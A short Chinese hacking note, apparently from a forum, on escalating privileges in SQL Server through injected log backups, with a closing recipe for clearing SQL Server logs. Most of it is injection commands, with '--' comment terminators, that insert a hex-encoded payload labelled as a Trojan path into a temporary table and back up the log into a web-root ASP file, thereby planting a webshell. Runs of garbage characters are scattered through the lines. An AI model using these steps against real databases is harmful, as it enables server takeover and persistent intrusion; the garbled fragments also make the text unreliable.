差异备份提权

admin

select * from master.dbo.sysdatabases　 列出所有列的记录

$ ~0 x9 o0 [5 [% z2 Fselect name from master.dbo.sysdatabases 仅列出name列的记录
7 }9 x0 f3 T" m! q; \* U: h
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份

alter database 数据库名 set RECOVERY FULL--

: B/ e+ D! E& e8 X+ g( @4 ocreate table cmd (a image)--                    \**cmd是创建的临时表
1 F8 U' t& B& ~- S. u4 n+ O
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--

8 a6 e/ n, Q. y& Y6 F, Yinsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--

//木马存放路径（转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个）
5 n( ^; M4 Q* r$ x$ Z
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'--  (要备份的目录)
# }; y8 n! f4 K- h, n- X% J
drop table cmd--
6 p4 I; _4 o7 {2 \& _5 o

f:\
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)

9 V8 _/ c" V8 u$ R最好多加几个回车0d0a,要不会出错哈
4 a! U! }. C2 v* y7 ], Q+ a

SQL   Server日志清空方法   
" y# B* ~( C6 }  A& F
在查询分析器中顺序执行以下三步，其中   databasename   为你的数据库文件名
. m' f: x' O5 \& n1.清空日志：DUMP   TRANSACTION   databasename   WITH   NO_LOG   
/ }0 R! H0 A+ S! U4 {
2.截断事务日志：BACKUP   LOG   databasename   WITH   NO_LOG   
4 I6 X) C6 G+ I& v
3.收缩数据库：DBCC   SHRINKDATABASE(databasename)